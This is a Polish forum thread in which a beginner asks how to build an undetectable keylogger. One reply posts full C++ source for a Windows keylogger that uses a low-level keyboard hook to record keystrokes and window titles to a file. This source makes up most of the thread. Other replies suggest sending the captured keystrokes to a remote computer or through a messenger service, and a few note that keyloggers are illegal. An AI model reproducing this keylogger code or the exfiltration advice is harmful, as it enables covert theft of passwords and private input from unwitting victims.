Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Jak zrobić Keyloggera ?


Rekomendowane odpowiedzi

Opublikowano

Witam!

Jestem nowym użytkownikiem forum więc proszę o wyrozumiałość.

:)

Oto kilka pytań które kieruję do was :

1.W jaki programie najlepiej pisać dla amatorów?

2.Jak zrobić keyloggera typu (rokitta czy jakoś tak (niewykrywalny niby)) ?

3.Znacie może jakieś tuty bądź sami jesteście autorami gdzie jest dokładny opis zrobienia ?

To będzie na tyle jeżeli będę miał jeszcze jakieś pytania to dopiszę .

Z góry dziękuję .

 

 

PS.Jestem początkującym więc proszę o dokładność ; p Szukałem an MPCForum oraz google.pl lecz nie znalazłem nic co spełniło moje oczekiwanie ;p Wiec proszę was . Proszę nie pisać głupich komentarzy typu "Idź dziecko się ucz" "noob" itp .

Opublikowano

1. W notatniku, bardzo wygodnie się w nim pisze, poradzi sobie nawet amator ;)

2. Proste, trzeba zrobić go tak żeby antywirus go nie wykrywał.

3. Keyloggery, wirusy itp. nie zaliczają się do cheatów, więc łatwo wywnioskować że to forum nie jest o nich.

A mimo wszystko google naprawdę ma odpowiedź na to pytanie. Uwierz.

Opublikowano
1.W jaki programie najlepiej pisać dla amatorów?

 

Tu masz odpowiedź na swoje pytanie

http://www.mpcforum.pl/topic/516048-w-czym-napisac-keyloggera/

1359062624-U334301.png

  • 4 tygodnie później...
Weteran
Opublikowano

Ale ja jestem kompletnie zielony w tym temacie to jak np w notatniku ? ;p

Na twoje nieszczęście keyloggery są tak skonstruowane, że amator ich nie napisze.

Opublikowano

A tutaj szkielet keyloggera w c++, nie mojego autorstwa.

 

 


/*
       Coded by 0DFh.
       Visit my website: http://0dfh.opx.pl/
*/

#include <iostream>
#include <fstream>
#include <Windows.h>

HHOOK hKeyboardHook = 0;
std::string LogFile;
HWND hCurrentWindow;
char sWindowTitle[256];
char cReturn[] = {13, 10};
std::ofstream fLogFile;
SYSTEMTIME SystemTime;
char cTime[64];
char cFileName[64];

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
       KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

       if (nCode >= 0)
       {
               if (wParam == WM_KEYUP)
               {
                       if(hCurrentWindow != GetForegroundWindow())
                       {
                               hCurrentWindow = GetForegroundWindow();
                               GetWindowText(hCurrentWindow, sWindowTitle, 256);
                               GetSystemTime(&SystemTime);
                               sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
                               LogFile += cReturn;
                               LogFile += cTime;
                               LogFile += " Nazwa okna: ";
                               LogFile += sWindowTitle;
                               LogFile += " ]";
                               LogFile += cReturn;
                       }
                       switch(pKbdLLHookStruct->vkCode)
                       {
                               case VK_RETURN:
                                       LogFile += "[Enter]";
                                       LogFile += cReturn;

                                       break;
                               case VK_BACK:
                                       LogFile += "[backspace]";
                                       break;
                               case VK_ESCAPE:
                                       LogFile += "[Escape]";
                                       break;
                               case VK_CAPITAL:
                                       LogFile += "[Capslock]";
                                       break;
                               case VK_LMENU:
                                       LogFile += "[LAlt]";
                                       break;
                               case VK_RMENU:
                                       LogFile += "[RAlt]";
                                       break;
                               case VK_MENU:
                                       LogFile += "[Alt]";
                                       break;
                               case VK_CONTROL:
                                       LogFile += "[Ctrl]";
                                       break;
                               case VK_DELETE:
                                       LogFile += "[Delete]";
                                       break;
                               case VK_SPACE:
                                       LogFile += " ";
                                       break;
                               case VK_MULTIPLY:
                                       LogFile += "*";
                                       break;
                               case VK_ADD:
                                       LogFile += "+";
                                       break;
                               case VK_SUBTRACT:
                                       LogFile += "-";
                                       break;
                               case VK_DECIMAL:
                                       LogFile += ".";
                                       break;
                               case VK_DIVIDE:
                                       LogFile += "/";
                                       break;
                               case 188:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "<";
                                       else
                                               LogFile += ",";
                                       break;
                               case 192:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "~~";
                                       else
                                               LogFile += "`";
                                       break;
                               case 222:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "\"";
                                       else
                                               LogFile += "'";
                                       break;
                               case 220:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "|";
                                       else
                                               LogFile += "\\";
                                       break;
                               case 219:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "{";
                                       else
                                               LogFile += "[";
                                       break;
                               case 221:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "}";
                                       else
                                               LogFile += "]";
                                       break;
                               case 186:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += ":";
                                       else
                                               LogFile += ";";
                                       break;
                               case 191:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "?";
                                       else
                                               LogFile += "/";
                                       break;
                               case 190:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += ">";
                                       else
                                               LogFile += ".";
                                       break;
                               case 44:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "<";
                                       else
                                               LogFile += ",";
                                       break;
                               case 187:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "+";
                                       else
                                               LogFile += "=";
                                       break;
                               case 189:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "_";
                                       else
                                               LogFile += "-";
                                       break;
                               case 65:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "A";
                                       else
                                               LogFile += "a";
                                       break;
                               case 66:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "B";
                                       else
                                               LogFile += "b";
                                       break;
                               case 67:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "C";
                                       else
                                               LogFile += "c";
                                       break;
                               case 68:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "D";
                                       else
                                               LogFile += "d";
                                       break;
                               case 69:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "E";
                                       else
                                               LogFile += "e";
                                       break;
                               case 70:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "F";
                                       else
                                               LogFile += "f";
                                       break;
                               case 71:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "G";
                                       else
                                               LogFile += "g";
                                       break;
                               case 72:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "H";
                                       else
                                               LogFile += "h";
                                       break;
                               case 73:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "I";
                                       else
                                               LogFile += "i";
                                       break;
                               case 74:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "J";
                                       else
                                               LogFile += "j";
                                       break;
                               case 75:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "K";
                                       else
                                               LogFile += "k";
                                       break;
                               case 76:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "L";
                                       else
                                               LogFile += "l";
                                       break;
                               case 77:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "M";
                                       else
                                               LogFile += "m";
                                       break;
                               case 78:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "N";
                                       else
                                               LogFile += "n";
                                       break;
                               case 79:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "O";
                                       else
                                               LogFile += "o";
                                       break;
                               case 80:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "P";
                                       else
                                               LogFile += "p";
                                       break;
                               case 81:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "Q";
                                       else
                                               LogFile += "q";
                                       break;
                               case 82:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "R";
                                       else
                                               LogFile += "r";
                                       break;
                               case 83:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "S";
                                       else
                                               LogFile += "s";
                                       break;
                               case 84:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "T";
                                       else
                                               LogFile += "t";
                                       break;
                               case 85:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "U";
                                       else
                                               LogFile += "u";
                                       break;
                               case 86:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "V";
                                       else
                                               LogFile += "v";
                                       break;
                               case 87:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "W";
                                       else
                                               LogFile += "w";
                                       break;
                               case 88:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "X";
                                       else
                                               LogFile += "x";
                                       break;
                               case 89:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "Y";
                                       else
                                               LogFile += "y";
                                       break;
                               case 90:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "Z";
                                       else
                                               LogFile += "z";
                                       break;
                               case VK_NUMPAD0:
                                       LogFile += "0";
                                       break;
                               case VK_NUMPAD1:
                                       LogFile += "1";
                                       break;
                               case VK_NUMPAD2:
                                       LogFile += "2";
                                       break;
                               case VK_NUMPAD3:
                                       LogFile += "3";
                                       break;
                               case VK_NUMPAD4:
                                       LogFile += "4";
                                       break;
                               case VK_NUMPAD5:
                                       LogFile += "5";
                                       break;
                               case VK_NUMPAD6:
                                       LogFile += "6";
                                       break;
                               case VK_NUMPAD7:
                                       LogFile += "7";
                                       break;
                               case VK_NUMPAD8:
                                       LogFile += "8";
                                       break;
                               case VK_NUMPAD9:
                                       LogFile += "9";
                                       break;
                               case 48:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += ")";
                                       else
                                               LogFile += "0";
                                       break;
                               case 49:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "!";
                                       else
                                               LogFile += "1";
                                       break;
                               case 50:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "@";
                                       else
                                               LogFile += "2";
                                       break;
                               case 51:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "#";
                                       else
                                               LogFile += "3";
                                       break;
                               case 52:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "$";
                                       else
                                               LogFile += "4";
                                       break;
                               case 53:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "%";
                                       else
                                               LogFile += "5";
                                       break;
                               case 54:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "^";
                                       else
                                               LogFile += "6";
                                       break;
                               case 55:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "&";
                                       else
                                               LogFile += "7";
                                       break;
                               case 56:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "*";
                                       else
                                               LogFile += "8";
                                       break;
                               case 57:
                                       if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                               LogFile += "(";
                                       else
                                               LogFile += "9";
                                       break;
                       }
               }
       }

       return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
       hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
       if(hKeyboardHook == NULL)
               MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);

       MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);

       // pobierz czas i datę, i doklej ją do nazwy pliku
       GetSystemTime(&SystemTime);
       sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);

       // zapisz log do pliku
       fLogFile.open(cFileName);
       fLogFile << LogFile.c_str();
       fLogFile.close();

       if(UnhookWindowsHookEx(hKeyboardHook) == 0)
               MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);

       return EXIT_SUCCESS;
}

 

 

Weteran
Opublikowano

@UP

To jest keylogger? ; O

Spojrzałem na kod i się załamałem, po co jest ta ogromna instrukcja switch? Można byłoby to samo zrobić za pomocą pętli for + jednej funkcji.

Oraz czemu jest założony hook na klawiaturę, skoro potem i tak program pobiera klawisz za pomoc GetAsyncKeystate? Można byłoby wyrzucić hooka i użyć tylko tego GetKey`a, byłby taki sam efekt.

  • 2 tygodnie później...
  • 8 miesięcy temu...
Opublikowano

Niby jest tu coś tylko że ja nie widzę nic w tym kodzie takiego aby gdzieś się to wszystko zapisywało i nam wysyłało na dany adres.Z tego co się orjentuję to zapisuje się w pliku na kompie ofiery czyż nie?/

Kocham mpcforum.pl!!!

18706.png

Opublikowano

Ja tylko dodam, że Keylogger, to z tego co miałem na przedmiocie w szkole "Zagadnienia prawne i etyczne w zawodzie Technik Informatyk" to wykładowca mówił wyraźnie, iż za keyloggery są Art. :) Jak chcesz mogę Ci podać ;)

Opublikowano

Nie wierzę. Forum o cheatach, botach i hackach, a dają ludziom gotowe kody keyloggerów, za które by ludzie dostali permy, gdyby siedziały w aplikacjach. Po prostu nie ogarniam. Poza tym powodzenia z pisaniem tego. Amator, który chce napisać keyloggera, chociaż nie wie co to np. C++ i w czym to zrobić.

Opublikowano

Załóż globalnego hook'a na klawiaturę i wysyłaj dane na swój komputer. Jak nie masz zewnętrznego IP to zawsze możesz użyć innych serwerów do wysyłania danych o klawiszach, np. gadu-gadu.

Opublikowano

TO FORUM NIE POPIERA TAKICH RZECZY :)

Typu Keylogger, programy hackujące konta, włamywanie na bashpanel etc. :)

Poszukaj na innych forach, zle trafiles.

Ps. Da się napisać keya w notatniku, C++ i innych.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...